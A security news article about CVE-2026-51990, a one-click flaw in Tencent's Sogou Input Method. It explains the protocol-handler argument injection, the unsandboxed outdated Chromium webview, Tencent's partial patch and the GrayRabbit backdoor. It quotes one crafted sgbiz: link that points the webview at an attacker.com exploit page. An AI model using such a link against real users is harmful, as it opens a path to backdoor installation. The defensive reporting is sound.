GrayRabbit exploits Tencent Sogou flaw through one crafted link

A single crafted sgbiz: link could route a Windows user running Tencent’s Sogou Input Method into an attacker-controlled, unsandboxed Chromium 80 webview and install the GrayRabbit backdoor.

The flaw, CVE-2026-51990, was actively exploited by the China-aligned UNC3569 group for initial access during an observed intrusion. Tencent received the report on April 9, 2026, and released a fix in Sogou Input Method 16.3.0.3498 on April 21, 2026. The application has hundreds of millions of installations, primarily in China, so U.S. exposure is likely concentrated among users and organizations that deploy the Chinese-language Windows input method.

This was not a conventional browser-download attack or a case of a user being tricked into running an executable. The victim needed only to click a malicious custom-protocol link. Windows then launched legitimate Sogou components that passed attacker-supplied arguments into a built-in browser environment configured without Chromium’s sandbox and with web security protections disabled.

Gen Threat Labs' technical disclosure describes three design failures chained together: unchecked command-line arguments in a Windows protocol handler, unrestricted webview navigation, and a browser engine that was already years out of date.

Recommended reading

METR says attackers stole an AI API key and probed its data

Sophia Reynolds • Sep 1, 2026 • 7 min read

“We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.”

The sgbiz: protocol chain

Sogou Input Method is not one binary. Its Windows installation includes a custom URL scheme, sgbiz:, that lets application components invoke one another. When Windows encounters an sgbiz: URL, it sends the request to Sogou’s biz_helper.exe protocol handler.

The handler’s sg_process route accepts parameters including the executable to launch (module), its command-line arguments (param), working directory, launch mechanism, and display state. The researchers found that Sogou validated the module field but did not validate param.

The code blocked path traversal and disallowed characters in the executable name, enforced a MAX_PATH limit, resolved the binary relative to the Sogou installation directory, and verified that the target existed. But after one URL-decoding pass, it forwarded the param value directly to the selected executable. An attacker could not choose an arbitrary Windows program through this route, but could supply arbitrary arguments to Sogou binaries allowed by the handler.

UNC3569 selected the legitimate SGMyInput.exe configuration program and supplied arguments that open its skin marketplace:

sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html

After decoding, that becomes -page=skincenter -url=https://attacker.com/exploit.html. The skincenter page is the only path in the configuration application that creates a CEF, or Chromium Embedded Framework, webview. Other configuration pages use native Win32 dialogs.

Once the skin marketplace webview initializes, Sogou’s code checks whether a custom URL was passed through -url. If one exists, it navigates to that URL directly. It did not enforce HTTPS, restrict domains, or reject dangerous URL schemes. The disclosure says the affected code accepted http, https, file, data, and javascript URLs.

Validating the executable but not its arguments made the chain easier to miss in a superficial review. The initial process tree consists of signed, expected Sogou executables, while the dangerous transition happens only after an embedded webview is instructed to load a remote page.

Chromium 80 was the execution surface

The custom-protocol issue and open navigation bug exposed the browser, while Sogou’s browser configuration created a practical one-click code-execution path. Its bundled libcef.dll identified itself as CEF 80.1.16 using Chromium 80.0.3987.163, a build dating to approximately March 2020.

At the time of the analysis, Gen said this was more than six years old and roughly 60 major Chromium releases behind the stable channel. An outdated browser engine alone does not prove a specific exploit was used; the disclosure does not identify the V8 vulnerability or JavaScript exploit selected by UNC3569. But it establishes that Chromium 80 lacked years of fixes and exposed hundreds of known CVEs, including critical V8 bugs capable of arbitrary code execution through JavaScript.

Sogou also removed the containment Chromium is designed to provide after renderer compromise. SGWebRender.exe loaded SGMiniBrowserHelperHost1.0.0.8.dll, which initialized CEF with no_sandbox set to true. The renderer was not sandboxed, so a successful browser exploit did not first need an additional sandbox escape to access the operating system as the logged-in user.

The implementation also hardcoded a bDisableWebSecurity flag to 1. That setting appended Chromium command-line switches including disable-web-security and allow-file-access-from-files. The former disables the same-origin policy; the latter permits URLs to read local files. Other switches disabled GPU shader disk caching and spell checking or enabled DirectWrite, but those are not security-critical to the chain.

A JavaScript engine exploit in the old browser can lead directly to OS-level execution under the current user account because the sandbox is absent. Separately, the disabled same-origin policy could allow malicious content loaded in the webview to make authenticated requests to internal services, read responses, and send that data elsewhere—even without the attacker first achieving a full browser exploit.

The researchers describe that second risk as a consequence of the configuration, not as a separately documented UNC3569 technique in this campaign.

What Tencent changed—and what it did not

Tencent’s April 21 patch changed the entry points UNC3569 relied on. Version 16.3.0.3498 validates URL arguments passed through the protocol handler, permits only HTTPS, and limits navigation to approved Sogou- and Tencent-related domains.

The patch should break the disclosed delivery sequence: an attacker can no longer use the protocol handler to send an arbitrary -url value to the skin marketplace, and the webview should reject destinations outside the vendor’s approved domains. But Gen’s report says Tencent did not address the browser-engine problem in the described release. The outdated Chromium build remains unsandboxed, with many web protections disabled.

The CVE fix does not fully harden Sogou’s embedded browser. A separate path that loads attacker-controlled web content into the same engine would still require scrutiny. The material supplied here does not establish another working route, nor does it say whether a subsequent Sogou release upgraded CEF or re-enabled the sandbox.

The version number is more useful than a generic assurance that the issue was “patched.” Organizations with Sogou Input Method installations should confirm that systems are on 16.3.0.3498 or later, then assess whether the product’s continued use of an outdated, unsandboxed rendering engine fits their endpoint policy. The reporting does not provide enterprise deployment tooling, a supported-update channel, or a Tencent advisory with indicators of compromise.

GrayRabbit’s operator toolkit

The payload observed in this intrusion was a more mature 64-bit GrayRabbit variant than earlier public analyses had described. Its command-and-control configuration was RC4-encoded, and it supported execution of processes, interactive reverse shells, file uploads and downloads, collection of system and user information, and reflective in-memory plugin loading.

Reverse-shell support can give an operator interactive access; file transfer enables collection and delivery of additional tools; reflective loading reduces the need to write every plugin to disk. The provided reporting does not identify the command-and-control infrastructure, victim organizations, geographic targeting, or the number of compromises attributed to this particular exploit chain.

UNC3569 has been linked to both cybercrime and contractor-for-hire activity. Its use of a widely deployed input method put the attack surface in routine desktop tooling: a protocol handler, a settings application, and a browser component operating behind an input method users may rarely think about after installation.

Exploitation of overlooked enterprise software

This incident follows a pattern tracked through September 2026: attackers moved quickly when a high-value application exposed a reachable execution or credential path. On September 1, we reported that attackers were harvesting OpenAI, AWS, and administrator credentials through an exploited critical Langflow remote-code-execution flaw. That same day, we covered exploitation of CVE-2026-82329, which let attackers mint administrator tokens on self-hosted Artifactory systems, three days after its disclosure.

CVE-2026-51990 differs in delivery and geography. It relies on a click and a desktop input method rather than an exposed server. Attackers exploited software that defenders may not inventory as a primary security boundary, then used the resulting access to deploy a flexible post-compromise tool.

Organizations should identify and update affected Sogou installations. The April patch closes the reported one-click chain, but the disclosure says the application still contains an old Chromium engine running without a sandbox. The software retains a high-consequence browser attack surface if another route to untrusted content is found.

×